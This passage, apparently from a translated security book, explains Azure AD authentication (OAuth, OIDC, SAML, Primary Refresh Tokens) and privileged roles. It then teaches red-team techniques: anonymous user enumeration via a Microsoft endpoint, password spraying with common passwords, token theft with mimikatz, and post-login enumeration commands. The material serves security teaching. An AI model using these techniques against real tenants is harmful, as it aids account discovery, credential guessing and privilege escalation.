例如,在 AD 中,企业管理员组,其次是域管理员组,拥有最多的权限。这可以与 AAD 中的全局管理员角色进行比较;如果一个帐户在 AAD 中拥有全局管理员角色,那么它对租户拥有完全控制权限。

然而,如果配置不当,全球管理员角色并不是唯一可能被滥用的角色。我们将在 特权帐户和 角色 部分深入探讨 AAD 中的重要角色。

此外,AD 和 AAD 使用的通信和身份验证方法有显著差异。让我们首先看看 AAD 中身份验证是如何工作的。

在 AAD 中的身份验证

在我们深入探讨所使用的协议及其工作原理之前,我们首先需要了解设备身份是什么,以及设备是如何加入的。

设备身份 – 将设备连接到 AAD

设备身份是指一旦设备注册或加入 AAD 租户后,在 AAD 中创建的对象。它类似于本地 AD 中的设备,管理员可以使用它来管理实际的设备或获取更多信息。设备身份可以在 AAD 门户中的 设备 | 所有设备 下找到。

有三种方法可以将设备加入或注册到 AAD:

  • AAD 加入:将现代设备(如 Windows 10 或 Windows 11)加入 AAD 租户的默认方法。运行在 Azure 租户中的 Windows Server 2019 及以上版本的 虚拟机VMs)也可以加入。

  • AAD 注册:一种支持自带设备BYOD)或移动设备场景的方法。这种方法也被视为现代设备场景。

  • 混合 AAD 加入:这种方法不被视为现代设备场景,而是为了在同一环境中结合老旧机器和现代机器的折中方案。从长远来看,AAD 加入应该是首选方法,但仍在运行 Windows 7+和 Windows Server 2008+的组织可以利用这种场景作为向正确方向迈进的一步,直到所有机器都成功迁移到现代操作系统。

这三种方法可以在同一个租户中使用并共存,但在我所见的大多数环境中,许多设备仍然通过混合 AAD 加入,组织仍然支持混合身份。但是,究竟什么是混合身份呢?

混合身份

大多数情况下,AAD 与本地 AD 并行使用。组织仍然拥有大量本地基础设施,但他们开始在混合场景中使用云。

假设在访问云资源时使用不同的密码,而不是本地资源密码是可能的,但用户已经负担过重,需要维护他们的本地密码。因此,为了保持高标准的密码安全,允许用户使用相同的帐户访问本地和云资源是合乎逻辑的。

为了解决这个问题,微软开发了 AAD Connect。AAD Connect 是实现混合场景目标的工具,将本地 AD 与 AAD 集成。

用户可以通过使用唯一的共同身份访问本地资源和云资源,从而提高生产力并增强安全性。

管理员定期连接一个或多个本地 AD 森林,并可以选择以下概念:

  • 密码哈希同步:通过密码哈希同步概念,所有本地密码都被同步到 AAD,以确保本地和云中可以使用相同的密码。有关密码哈希同步的更多信息,请访问:learn.microsoft.com/en-us/azure/active-directory/hybrid/connect/whatis-phs

  • PTA:使用 PTA 时,无需将凭据同步到云中。当用户对 AAD 进行身份验证时,凭据会传递到本地 AD,之后本地 AD 会验证凭据,然后身份验证成功。有关 PTA 的更多信息,请访问:docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta

  • 联合身份验证:将 AD 连接到 AAD 时,管理员还可以选择配置联合身份验证——可以选择使用 AD FS 或 PingFederate(第三方提供商)进行联合。联合身份验证是信任彼此的组织的集合,因此通常可以使用相同的身份验证和授权方法。

当谈到 AAD 时,联合机制作为提供无缝单点登录(SSO)体验的一种机制,在验证用户凭据与本地域控制器DCs)匹配后,会发放令牌。这个方法确保用户能够访问 AAD 资源,而无需重复身份验证,从而提升整体用户体验和生产力。

了解更多关于联合的信息,请点击这里:docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed

以下截图显示了将 AD 连接到 AAD 时所有可用的登录方法:

图 7.2 – 选择登录方式

图 7.2 – 选择登录方式

为了避免用户反复输入凭据,单点登录(SSO)也可以在此步骤中启用。

每种登录概念都有其优点和缺点,我们将在本章后面探讨一些场景如何应对。但现在,让我们先了解一下连接到 AAD 的用户和设备的身份验证是如何工作的。

协议和概念

根据设备的加入方式以及用户想要连接的资源,身份验证和授权流程有所不同。对于 AAD,主要使用的协议和标准是开放授权OAuth)2.0、OpenID ConnectOIDC)和 SAML。

SAML 以及与 OIDC 结合使用的 OAuth 是非常流行的协议,可以用来实现单点登录(SSO)。实际使用的协议取决于应用程序。两者都使用令牌工件来传递秘密,但在授权和身份验证方面的工作方式不同。

接下来的几节将探讨这些协议的工作原理,以及根据不同场景,流程是如何变化的。

OAuth 2.0

OAuth 2.0是一种开放标准,用于访问委托,简化基于令牌的授权,以便安全地访问互联网上的资源。需要注意的是,OAuth 2.0 并不是身份验证协议,而是专注于授权和不同应用程序与服务之间的安全资源共享。OAuth 2.0 于 2012 年发布,自那时以来,已广泛应用于现代 Web 和 API 的身份验证与授权场景。

OAuth 2.0 与 2007 年发布的 OAuth 1.0 版本完全不同。本书中提到的OAuth始终指的是 OAuth 2.0。

使用 OAuth,第三方可以轻松访问外部资源,而无需访问用户的用户名或密码。

图 7.3 – 使用现有帐户的登录选项

图 7.3 – 使用现有帐户的登录选项

举个例子,如果你要登录一个网站,但还没有该资源的登录信息,许多提供商会允许你使用现有账户(例如微软、谷歌、Facebook 或 Twitter 账户)来验证身份并登录,如前面截图所示。

OAuth 词汇表

在我们深入了解 OAuth 的工作原理之前,我们首先需要澄清一些词汇:

  • 资源所有者:这是授予资源访问权限的人,通常是他们自己的用户账户。

  • 客户端:请求代表资源所有者执行操作的应用程序。

  • 授权服务器:此服务器了解资源所有者,并能够授权该用户是否合法。因此,资源所有者通常在授权服务器上有一个现有账户。

  • 资源服务器:这是客户端代表资源所有者想要访问的资源/API。有时,授权服务器和资源服务器是同一台服务器,但它们不必是同一台;有时,授权服务器只是一个受信任的服务器,资源服务器依赖于它。

  • 重定向 URI/回调 URL:授权服务器在授予客户端权限后,将资源所有者重定向到的 URL。

  • 响应类型:这表示客户端期望接收的信息类型。授权码是最常见的响应类型;在这种情况下,授权码将被发送给客户端。

  • 授权码:这是一个短期有效的临时代码。授权服务器将其发送给客户端。客户端将它与客户端密钥一起发送给授权服务器,进而获得访问令牌。需要注意的是,是否需要发送客户端密钥,取决于所使用的具体 OAuth 流程。

  • 访问令牌:这是客户端用来访问所需资源的令牌。它作为凭证,允许客户端与资源服务器进行通信和交互。

  • 刷新令牌:这是一个长期有效的令牌,可以在访问令牌过期后,用来请求并获取新的访问令牌。

  • 范围:这是客户端请求的细化权限(例如,读取、写入或删除)。

  • 同意:用户可以查看客户端请求的权限(范围),并通过允许请求的权限来授予同意。

  • 客户端 ID:客户端 ID 用于唯一标识与授权服务器交互的客户端。在授权过程中,它作为客户端的身份标识符。

  • 客户端密钥:一个只有客户端和授权服务器知道的保密密码。它作为一个共享密钥,用于在授权过程中验证客户端的身份。

现在你已经熟悉了必要的词汇,接下来我们来看 OAuth 流程是如何工作的。

OAuth 授权码授权流程

以下截图展示了 OAuth 授权码授权流程的工作原理:

图 7.4 – OAuth 流程

图 7.4 – OAuth 流程

为了清楚地理解 OAuth 流程的工作原理,以下是一个包含每个步骤详细描述的示例:

  1. 用户,也被称为资源拥有者,希望允许新闻通讯服务代表他们向指定收件人发送新闻通讯,因此他们会导航到新闻通讯服务,即客户端——例如,www.1337newsletters.com。请注意,这只是一个虚构的新闻通讯 URL。

  2. 客户端将用户重定向到授权服务器——在我们的例子中,这是 AAD。它还会包括客户端 ID、重定向 URL、响应类型以及必要时的一或多个作用域。

  3. 授权服务器(AAD)验证用户的身份,并在用户尚未登录时提示其登录。它还会提示用户进行同意,确保他们完全了解客户端请求在指定资源服务器上代表他们执行的操作范围。用户可以同意或拒绝并授予或拒绝权限。需要注意的是,用户只需要在首次授权时授予同意,而不是每次登录时都需要同意。

在我们的新闻通讯示例中,可能的作用域是代表用户读取联系人写入及发送电子邮件

  1. 重定向 URL作为位置被放入 HTTP 头部,AAD 将包含授权码的响应发送给客户端。当客户端获取到带有该头部的响应时,客户端将被重定向到指定位置,并发送其从授权服务器获取到的授权码。

  2. 客户端将其客户端 ID、客户端密钥和授权码发送给授权服务器,一旦数据验证合法,便会接收访问令牌。在此步骤中,还会发送刷新令牌,以确保客户端在旧的访问令牌过期后可以请求新的访问令牌。

  3. 现在,客户端可以使用访问令牌,该令牌包含由授权服务器分配的硬编码作用域,来访问资源服务器。在适当的作用域下,客户端可以代表用户执行操作,例如读取联系人和发送电子邮件。

通常,客户端 ID以及客户端密钥是由授权服务器生成的,在 OAuth 授权流程发生之前很久就已生成。一旦客户端和授权服务器建立了工作关系,授权服务器会生成并与客户端共享客户端 ID 和客户端密钥。该密钥不能共享,确保只有客户端和授权服务器知道。这样,客户端的身份得到了保障,并且可以由授权服务器验证。

除了授权码授权流程外,RFC 6749 中还指定了其他 OAuth 流程,如隐式授权、资源所有者密码凭证授权、客户端凭证授权和扩展授权流程。本书中不会进一步探讨这些流程,但如果您有兴趣了解更多不同的 OAuth 流程,请参阅 RFC 6749datatracker.ietf.org/doc/html/rfc6749

OpenID Connect

OIDC 是建立在 OAuth 框架上的额外一层。它增加了关于已登录用户(即资源所有者)的登录和个人资料信息。当授权服务器支持 OIDC 时,它向客户端提供关于资源所有者的信息。OIDC 认证用户并使用户能够使用单点登录(SSO)。

如果一个授权服务器支持 OIDC,我们也可以称它为 IdP,并且可以用于 身份验证

使用 OIDC 的授权流程几乎与常规 OAuth 流程完全相同,唯一的不同发生在 步骤 2步骤 5 中,具体如下:

2. 发送的 scope 包含 OIDC 应该使用的信息:Scope=OpenID

5. 除了发送的访问令牌和刷新令牌外,还会发送一个 ID 令牌

访问令牌是一个 JSON Web TokenJWT),可以解码,但对于客户端没有太大意义,不应由应用程序用于做出任何决策。它需要每次都发送以访问所需的资源。ID 令牌也是一个 JWT,包含有关用户的信息。

在 ID 令牌中,一旦提取信息,所有用户声明都可以使用。声明是诸如用户姓名、用户 ID、用户登录时间和令牌过期时间等信息。此令牌经过签名,防止被中间人攻击轻易篡改。

SAML

SAML 是一种开放标准,供 IdP 用于将授权信息传递给 服务提供商SP)。使用 SAML,可以直接使用 SSO,而不需要任何其他附加协议——用户只需输入一次登录凭据,就可以使用多种服务,而无需一次又一次地进行身份验证。

下图应该有助于您理解 SAML 认证流程:

图 7.5 – SAML 认证流程

图 7.5 – SAML 认证流程

为了全面理解在使用 AAD 作为 IdP 时的 SAML 认证流程,以下列表概述了通过 SAML 认证用户时涉及的每个操作:

  1. 用户打开浏览器并尝试访问一个资源,因此向 SP 请求访问。

  2. SP 生成一个 SAML 授权请求,并将用户重定向到 IdP,AAD。AAD 对用户进行认证。

  3. AAD 生成SAML 令牌并将其发送回用户。与 SAML 令牌一起,会返回会话密钥。

  4. 用户向 SP 呈现 SAML 令牌。

  5. SP 验证 SAML 响应以及 SAML 令牌,并在一切正常的情况下完成登录。用户已登录,并被转发到安全的 Web 应用程序。

主刷新令牌

无论使用的是 OAuth 还是 SAML,在这两种情况下,主刷新令牌PRT)都是由 AAD 生成并用于延长用户会话。PRT 可以类比为 AD 中的票据授权票证。

它不仅仅刷新 OAuth 或 SAML 身份验证;它是一个主密钥,可以用来验证任何应用程序。PRT 最初是为提供跨应用程序的 SSO 而引入的。这也是微软对 PRT 应用额外保护并建议设备配备 TPM 的原因——如果有 TPM,密码学密钥就存储在 TPM 中,这使得几乎不可能提取它们并获取对 PRT 的访问权限。

然而,如果没有 TPM 芯片,PRT 可以被提取并可能被滥用。

PRT 本身是一个包含用户身份验证信息的 JWT。它使用传输密钥加密,并与发放给定设备绑定。它还存在于发放给定设备的内存中,并可以通过LSA CloudAP使用mimikatz等工具提取。我们之前在第六章《Active Directory – 攻击与缓解》中讨论了本地安全机构LSA),如果你想了解 LSA 的内容,请参考本章。CloudAP是 LSA 中保护与云相关的令牌(如 PRT)的部分。

在本书中,你只需要知道 PRT 是身份验证文物,如果它被盗,就会导致身份冒充的可能性。如果你想了解更多关于 PRT 是如何发放或刷新的信息,请参考微软文档:docs.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token

了解保护 PRT 的重要性至关重要,尤其是当涉及到特权账户和角色时,我们将在下一节中深入探讨这一点。

特权账户和角色

特权账户和角色是任何目录服务的核心,它们是最强大的账户/角色。因此,它们对对手具有特殊的吸引力,需要额外的保护级别。

AAD 中有许多内置角色。在本章中,我不会描述所有角色,而是会概述一些可能被轻易滥用的具有权限的重要角色。因此,定期检查和审计哪些账户被分配了这些角色是非常有意义的:

  • 全局管理员:这是 AAD 中最强大的角色。它被允许执行 AAD 中所有可能的管理任务。

  • 特权角色管理员:此角色可以管理和分配所有 AAD 角色,包括全局管理员角色。此角色还可以创建和管理可以分配给 AAD 角色的组,并管理特权身份管理和行政单元。

  • 全局读取器:此角色可以读取所有信息,但无法执行任何操作。尽管如此,对于攻击者来说,它可能在枚举过程中仍然有用。

  • 应用管理员/云应用管理员:这些角色可以管理或创建与应用程序相关的所有内容。他们还可以为应用程序添加凭证,因此也可以用来冒充应用程序,这可能导致特权升级。

  • Intune 管理员:此角色可以管理 Intune 中的所有内容,并创建和管理所有安全组。

  • 身份验证管理员:此角色可以(重新)设置任何身份验证方法,并且可以管理非管理员用户以及某些角色的凭证。

  • 特权身份验证管理员:此角色具有与身份验证管理员类似的权限,但还可以为整个租户设置身份验证方法策略。

  • 条件访问管理员:此角色可以管理条件访问设置。

  • Exchange 管理员:此角色在 Exchange Online 中具有全局权限,允许该角色创建和管理所有 Microsoft 365 组。

  • 安全管理员:此角色可以管理所有与安全相关的 Microsoft 365 功能(例如 Microsoft 365 Defender 或身份保护)。

这些是 AAD 中最重要的内置角色,但仍然有许多其他角色可能会被攻击者滥用。有关所有内置 AAD 角色的完整概览,请查看此链接:docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference

除了内置角色外,还需要跟踪您的虚拟化管理员订阅管理员,或者一般的特权角色,这些角色能够访问敏感虚拟机;这样的角色很容易获得对托管虚拟机的访问权限并重置密码。一旦访问机器,用户可以对虚拟机执行任何操作,甚至获得登录该虚拟机的用户和管理员的凭证。

还需监视其他可以管理组成员身份的角色,例如安全组Microsoft 365** 组所有者**。

请参考 AAD 角色最佳实践,了解如何以最佳方式保护您的 AAD 角色:docs.microsoft.com/en-us/azure/active-directory/roles/best-practices

使用 PowerShell 访问 AAD

当然,我们都知道 Azure 门户;攻击者也可以利用无缝 SSO 访问门户,使用用户的浏览器进行访问。甚至还有一种方法可以通过 Azure Cloud Shell 直接从 Azure 门户运行代码。但这些方法很难自动化,攻击者也会很难保持不被发现。以下截图显示了如何从 Azure 门户运行 Azure Cloud Shell:

图 7.6 – 从 Azure 门户使用 Azure Cloud Shell

图 7.6 – 从 Azure 门户使用 Azure Cloud Shell

但是,也有一些方法可以直接通过代码或命令行从你的计算机访问 AAD:

最初,这些方法是为了支持自动化和简化管理任务而开发的,但像往常一样,它们也可能被攻击者滥用。

本章不会深入探讨 Azure .NET。Azure .NET 是一套供 .NET 开发者使用的库,用来与 Azure 资源(包括 AAD)进行交互。这些库支持多种语言,如 C#、F# 和 Visual Basic。它们并没有为 PowerShell 提供直接接口,但可以通过 PowerShell 使用它们来自动化各种任务,类似于如何从 PowerShell 使用 .NET Framework 中的 System.DirectoryServices 命名空间(见 第六章Active Directory – 攻击与缓解)。欲了解更多信息,请参考此 Azure .NET 文档:learn.microsoft.com/en-us/dotnet/api/overview/azure/?view=azure-dotnet

在接下来的章节中,我们将更详细地介绍与 PowerShell 相关的 Azure CLI 和 Azure PowerShell,除了可以专门在 Azure Cloud Shell 中使用外,还可以在本地计算机上使用它们。

Azure CLI

Azure CLI 是一款跨平台的命令行工具,用于连接和管理 AAD。它还使用 OAuth 协议进行身份验证。

在你可以运行 Azure CLI 之前,需要先安装它。请使用与你操作系统相对应的文档:docs.microsoft.com/en-us/cli/azure/install-azure-cli

安装 Azure CLI 成功后,你可以开始使用并登录到 Azure CLI:

> az login

在浏览器中会打开一个新窗口,提示你登录或选择登录账户——如果你在浏览器会话中已经登录了账户。

如果你使用 --use-device-code 参数,系统不会弹出新的浏览器窗口;而是会提供一个代码,你可以在选择的设备上使用该代码,通过其他设备进行身份验证以开始此会话。

登录后,您可以使用典型的 Azure CLI 语法与 Azure 进行交互。有关所有可用 Az 命令的完整概述,请参阅:docs.microsoft.com/en-us/cli/azure/reference-index

在与 AAD 交互时,您可能会发现 az ad 概述有用:docs.microsoft.com/en-us/cli/azure/ad

Azure PowerShell

在使用 PowerShell 和 AAD 时,您可以使用 Az 模块。还有 AzureAD 模块,但该模块将在 2024 年 3 月 30 日被弃用,并由 Microsoft Graph PowerShell 取代。尽管在撰写本文时,Microsoft 计划让 AzureAD 模块在弃用公告日期后的六个月内仍能正常工作,但 Microsoft 建议从现在开始迁移到 Microsoft Graph PowerShell。因此,我们在本章中不会深入探讨 AzureAD cmdlet。

Az 模块

您可以通过 MSI 安装文件或 PowerShellGet 安装 Az 模块。以下示例演示了通过 PowerShellGet 进行安装:

> Install-Module -Name Az -Scope CurrentUser -Force

Azure PowerShell 是 Az 模块的一部分,建议仅为当前用户安装它。

有关其他安装方式和故障排除,请参阅官方文档:docs.microsoft.com/en-us/powershell/azure/install-az-ps

模块安装完成后,您可以通过将其导入到当前会话并登录来开始使用:

> Import-Module Az
> Connect-AzAccount

与 Azure CLI 类似,您的浏览器中会打开一个新窗口,并提示您登录。登录成功后,PowerShell 命令行也会显示登录成功信息:

图 7.7 – Connect-AzAccount 执行成功

图 7.7 – Connect-AzAccount 执行成功

类似于 Azure CLI,您还可以使用 -** **UseDeviceAuthentication 参数请求一个验证码,以便从另一台设备登录并进行身份验证。

但也可以使用 Connect-AzAccount 脚本化身份验证——在以下示例中,PowerShell 会提示您输入凭据,随后使用这些凭据进行身份验证:

> $cred = Get-Credential
> Connect-AzAccount -ServicePrincipal -Credential $cred -Tenant $tenantId

Az PowerShell 非常广泛,由多个模块组成。您可以通过运行 Get-Module -Name** **Az.* 命令获取当前所有现有模块的概述。

找到模块后,您可以查看哪些命令可用。您可以像往常一样使用 Get-Command,如以下截图所示:

图 7.8 – 查找 Az.Accounts 模块提供的 cmdlet

图 7.8 – 查找 Az.Accounts 模块提供的 cmdlet

如需了解有关 Azure PowerShell 的更多信息,请参考文档:learn.microsoft.com/en-us/powershell/azure/

Microsoft Graph

Microsoft Graph 可以使用PowerShellGet安装,因为它在 PowerShell Gallery 中可用:

> Install-Module Microsoft.Graph -Scope CurrentUser -Force

安装完成后,您需要连接到 AAD:

> Connect-MgGraph -Scopes "User.Read.All","Group.ReadWrite.All"

浏览器中会弹出一个新窗口,提示您登录并授予权限,如下图所示:

图 7.9 – 授予 Microsoft Graph 权限

图 7.9 – 授予 Microsoft Graph 权限

登录成功后,您的 PowerShell 命令行上会显示欢迎消息:

图 7.10 – 登录 Microsoft Graph 后的欢迎消息

图 7.10 – 登录 Microsoft Graph 后的欢迎消息

现在您可以使用 Microsoft Graph 与您的 AAD 实例进行交互。有关 Microsoft Graph 的更多信息,请参阅官方文档:learn.microsoft.com/en-us/powershell/microsoftgraph/

现在您已经了解了关于 AAD 的基础知识,让我们在接下来的章节中看看红队如何攻击它。

攻击 AAD

在攻击过程中,枚举通常是第一步(并且根据对手可以访问的内容,可能会重复几次)用来获取环境更多细节的步骤。枚举有助于找出哪些资源可用,以及哪些访问权限可能被滥用。

在 AD 中,任何可以访问企业网络的用户都可以枚举所有用户账户以及管理员成员资格;而在 AAD 中,任何可以通过互联网访问 Office 365 服务的用户都可以枚举它们,但对于 AAD 来说。

匿名枚举

甚至有一种方法可以匿名获取有关当前 AAD 租户的更多信息。对于对手来说,这有巨大的优势,因为他们无需通过钓鱼攻击或类似手段欺骗用户提供凭据。此外,被检测到的风险大大降低。

有许多 API 确实有合法的用途,但也可以被滥用进行匿名枚举。

其中一个 API 如下:

https://login.microsoftonline.com/getuserrealm.srf?login=<username@domain.tld>&xml=1

只需将<username@domain.tld>替换为您想要获取更多信息的用户登录名,并在浏览器中导航到此 URL。如果您想了解有关PSSec-User@PSSec-Demo.onmicrosoft.com用户所在环境的更多信息,您可以使用以下 URL:

login.microsoftonline.com/getuserrealm.srf?login=PSSec-User@PSSec-Demo.onmicrosoft.com&xml=1

以下截图显示了如果用户存在时,输出的样子:

图 7.11 – 枚举现有 AAD 用户

图 7.11 – 枚举现有 AAD 用户

通过这种方式,您可以验证用户是否存在。您还可以判断公司是否使用 AAD(Office 365),并且该账户是由 AAD 管理的,如<NameSpaceType>Managed</NameSpaceType>所示。

NameSpaceType的可能值如下:

  • 联合:该公司使用了联合 AD,并且查询的账户存在。

在从 AAD 获取刷新令牌和访问令牌之前,客户端必须通过本地 AD 或其他身份管理解决方案验证用户的凭证。需要注意的是,AAD 不执行凭证验证。只有在客户端收到 SAML 令牌作为用户验证凭证和身份的证明后,AAD 才会发放访问云资源所需的令牌。

  • 托管:正在使用 Office 365,该账户由 AAD 管理,并且存在。

因此,可以指一个从本地 AD 同步过来的账户,但未进行联合,或者是直接在 AAD 中创建的仅云端账户。对于托管账户,用户认证仅在云端进行,本地基础设施不参与凭证验证。

  • 未知:没有该用户名的记录。

如果查询的账户不存在,NameSpaceType将显示未知,并且你将获得较少的信息,如下图所示:

图 7.12 – 账户不存在

图 7.12 – 账户不存在

对攻击者来说,账户名中含有指示账户具有提升权限的信息,并且是有价值目标的账户,可能会特别感兴趣,例如admin@company.comadministrator@company.onmicrosoft.com

还有其他一些开源脚本,如o365creeper,依赖于公共 API 来匿名枚举 Office 365 环境:https://github.com/LMGsec/o365creeper。

使用匿名枚举方法允许攻击者获取组织内已验证用户账户的列表。下一个目标是通过找出至少一个账户的凭证来获得访问权限。

密码喷射攻击

并非每个用户都使用难以猜测的超级安全密码;因此,密码喷射攻击是获取环境访问权限的最常见方法之一。

出人意料的是,2022 年最常见的十大密码非常容易猜到:

  • 123456

  • 123456789

  • qwerty

  • password

  • 1234567

  • 12345678

  • 12345

  • iloveyou

  • 111111

  • 123123

许多公司并未对所有用户强制执行 MFA,而其他公司虽然有 MFA,但可能未能有效配置条件访问策略,以在特定风险事件或风险条件下强制执行 MFA。许多高权限账户根本没有配置 MFA 也是非常常见的情况。这使得攻击者可以轻松地通过猜测密码登录并获得未授权的访问权限。

密码喷射攻击是攻击者用来暴力破解一个曾经验证过的账户的攻击方式;通过对多个用户账户进行身份验证并尝试几个常见密码,能够找到使用弱密码的账户的几率很高。

AAD 提供了一些针对密码喷射攻击的缓解措施,但这种攻击仍然是可能的。

通常,AAD 中的攻击非常有针对性(例如发送鱼叉式钓鱼邮件);因此,密码喷洒攻击的可能性较低,但它仍然是常见的攻击手段,并且仍然会发生,通常是由试图寻找入口点的对手发起。

有几个开源工具可以帮助攻击者实现他们在 AAD 环境中发现和枚举账户的目标,并对其进行密码喷洒攻击:

一旦攻击者获取了账户的访问权限——例如,通过密码喷洒或钓鱼——他们可以利用这个账户进行进一步的枚举、权限提升或进行更多的钓鱼攻击。

身份验证后的枚举

在 AAD 中,任何拥有 Office 365 访问权限的用户默认都可以枚举用户和组成员。也就是说,如果一个属于 AAD 基础架构的用户账户被攻破,它可以作为起点,用于收集关于其他用户和组的更多信息。

这些信息对攻击者来说非常有用,可以帮助他们更好地了解组织结构并发起更有效的攻击。它还可能揭示出值得攻击的有价值账户。

一旦你登录后,利用可用的脚本接口进行身份验证后的枚举就非常简单。我们将在接下来的子章节中看看如何使用 Azure CLI 和 Azure PowerShell 进行枚举。

会话、租户和订阅详情

你可以使用 Microsoft Graph 或 Az 模块获取当前会话以及租户的更多信息。这对于了解你登录的账户以及获取 AAD 环境本身的更多细节(如租户 ID)非常有用。

以下是相关的 Microsoft Graph 模块命令:

> Get-MgContext
> Get-MgOrganization

使用 Az PowerShell 模块,你不仅可以获取当前会话和租户的信息,还可以获取订阅的信息:

> Get-AzContext
> Get-AzSubscription
> Get-AzResource

枚举用户

使用 Microsoft Graph 模块,你可以通过Get-MgUser cmdlet 来枚举用户:

> Get-MgUser -All | select UserPrincipalName

若要仅获取一个用户的详细信息,使用-UserId参数,然后跟随用户主体名称UPN):

> Get-MgUser -UserId PSSec-User@PSSec-Demo.onmicrosoft.com

还有一个非常有趣的属性,叫做OnPremisesSecurityIdentifier。通过这个属性,你可以查看一个账户是通过本地创建并同步的,还是通过 AAD 创建的。如果它包含安全标识符SID),则说明该账户是在本地创建并同步的;如果没有,则说明该账户是直接在 AAD 中创建的:

> Get-MgUser -All | Select-Object DisplayName, UserPrincipalName, OnPremisesSecurityIdentifier | fl

还有一些其他非常有趣的 cmdlet,如下所示:

  • Get-MgUserCreatedObject:获取指定用户创建的所有对象

  • Get-MgUserOwnedObject:获取指定用户拥有的所有对象

要使用 Az 模块枚举用户,您可以使用Get-AzADUser cmdlet。也可以通过使用-UserPrincipalName参数后跟 UPN 来枚举单个用户:

> Get-AzADUser -UserPrincipalName PSSec-User@PSSec-Demo.onmicrosoft.com

使用 Microsoft Graph 和 Az 模块,您可以使用-Search参数查找特定字符串。如果您想查找在其 UPN 中包含某个特定字符串(如admin)的账户,这非常有用。

使用 Azure CLI 检索用户列表也非常简单:

> az ad user list --output=table

由于这会生成一个庞大的列表,因此也有必要指定应返回哪些列。在以下示例中,我们只会看到一些细节信息,如账户是否启用、显示名称、用户 ID 和 UPN:

> az ad user list --output=table --query='[].{Enabled:accountEnabled,Name:displayName,UserId:mailNickname,UPN:userPrincipalName}'

当然,您还可以通过使用-upn参数,后跟userPrincipalName,来获取单个用户的详细信息。

枚举组成员资格

在 AAD 中,组可以用来容纳多个用户,组也可以分配给角色。因此,枚举 AAD 组也是非常有用的。

使用 Microsoft Graph 模块,您可以使用以下命令检索所有现有 AAD 组的概览:

> Get-MgGroup -All

要获取特定的组,您可以使用-UserId参数,后跟该组的对象 ID。

您还可以找出一个用户属于哪些组:

> Get-MgUserMemberOf -UserId PSSec-User@PSSec-Demo.onmicrosoft.com

如果您想枚举特定的组并找出哪些用户是成员,可以使用Get-MgGroupMember cmdlet:

Get-MgGroupMember -All -GroupId <GroupID> | ForEach-Object { $_.AdditionalProperties['userPrincipalName'] }

使用 Az PowerShell 模块,您可以使用Get-AzADGroup来检索所有组的概览。使用-ObjectId参数可以枚举特定组。

您可以使用Get-AzADGroupMember来检索组的所有成员;只需指定要枚举的组,可以通过-GroupObjectId参数后跟组的对象 ID,或使用-GroupDisplayName参数后跟组的显示名称。

组对象的结构与用户对象类似,因此您也可以使用我们在用户上使用过的相同方法,比如查找某个组是否在本地同步过,或者从 AAD 同步过(使用OnPremisesSecurityIdentifier属性),您还可以使用-Search参数查找名称中包含特定字符串的组。

您还可以使用 Azure CLI 进行枚举:

> az ad group list --output=json

类似于枚举用户,您还可以指定输出应显示哪些数据:

> az ad group list --output=table --query='[].{Group:displayName,UPN:userPrincipalName,Description:description}'

您还可以通过使用-group参数,后跟组名称,来指定单个组。

枚举角色

您可以使用Get-AzRoleAssignment cmdlet 枚举 RBAC 角色分配,该 cmdlet 是 Az PowerShell 模块的一部分。如果没有指定其他内容,它将列出订阅中的所有分配。使用-Scope参数,您可以指定一个资源。

使用-SignInName参数,后跟 UPN,你可以列举指定用户的所有分配,如下截图所示:

图 7.13 – 检索用户的角色分配

图 7.13 – 检索用户的角色分配

你还可以使用 Azure CLI 通过以下命令枚举 RBAC 角色分配:

> az role assignment list --all --output=table

一般可用的内置 RBAC 角色包括以下几种:

  • Owner:完全访问权限;还可以管理其他用户的访问权限。

  • Contributor:完全访问权限,但不能管理其他用户的访问权限。

  • Reader:查看访问权限。

  • User Access Administrator:查看访问权限;还可以管理其他用户的访问权限。

当然,根据资源的不同,还存在额外的内置 RBAC 角色。完整的概览可以在这里找到:docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles

枚举资源

Az 模块和 Azure CLI 提供了多种枚举 Azure 资源的选项,例如一般资源、虚拟机、密钥库和存储账户。下表显示了检索所需信息的最重要的命令:

图 7.14 – 枚举资源

图 7.14 – 枚举资源

(Web)应用程序也可以视为资源。让我们深入了解如何枚举应用程序、功能应用程序和 Web 应用程序。

枚举应用程序

使用 Microsoft Graph 模块,你可以通过以下命令获取所有可用应用程序的列表:

> Get-MgApplication -All

使用-ApplicationId参数,你可以指定一个应用程序的对象 ID。使用-Search参数,你可以在应用程序的显示名称中搜索特定的字符串。

要查找哪个应用程序的拥有者,可以使用Get-MgApplicationOwner命令:

> Get-MgApplication -ApplicationId <ApplicationId> | Get-MgApplicationOwner |fl

另一个非常有用的命令是Get-MgUserAppRoleAssignment。要找出某个用户或某个组是否为一个或多个应用程序分配了角色,可以使用以下命令:

> Get-MgUserAppRoleAssignment -UserId PSSec-User@PSSec-Demo.onmicrosoft.com | fl

使用 Az 模块,你也可以通过以下命令检索所有可用应用程序的概览:

> Get-AzADApplication

要检索特定的应用程序,你可以使用Get-AzADApplication-ObjectId参数。

在 AAD 中,你可以拥有一个服务应用程序或一个功能应用程序。使用Get-AzFunctionApp命令检索所有功能应用程序;如果你想获取所有服务应用程序,则使用以下命令:

> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}

在 Azure CLI 中,使用az ad app list --output=table,你也可以列举 AAD 中的应用程序。使用--query参数来指定你想要查看的详细输出:

> az ad app list --output=table --query='[].{Name:displayName,URL:homepage}'

使用--identifier-uri参数,后跟 URI,可以仅列举一个应用程序。

枚举服务主体

服务主体 是由用户创建的服务和应用程序使用的身份。与普通用户账户类似,服务主体需要权限才能在目录中的对象上执行操作,例如访问用户邮箱或更新联系人。这些权限,称为 范围,通常通过 同意 过程授予。

通常,标准用户只能为应用程序授予与自己相关的有限操作权限。然而,如果服务主体需要对同一目录中其他对象拥有更广泛的权限,则需要管理员同意。由于这不是一个普通的用户账户,但仍然具有大量权限,服务主体成为攻击者的一个有趣目标。

使用 Microsoft Graph 模块,您可以简单地查看所有现有服务主体(SP)的概况:

> Get-MgServicePrincipal -All | fl

通过使用 -ServicePrincipalId 参数,您可以指定一个单一的服务主体(SP),并通过使用 -Search 参数,您可以按显示名称筛选服务主体。

有一些有用的 cmdlet 可以帮助您处理服务主体(SP):

  • Get-MgServicePrincipalOwner: 返回服务主体(SP)的所有者

  • Get-MgServicePrincipalOwnedObject: 检索某个特定服务主体(SP)拥有的对象

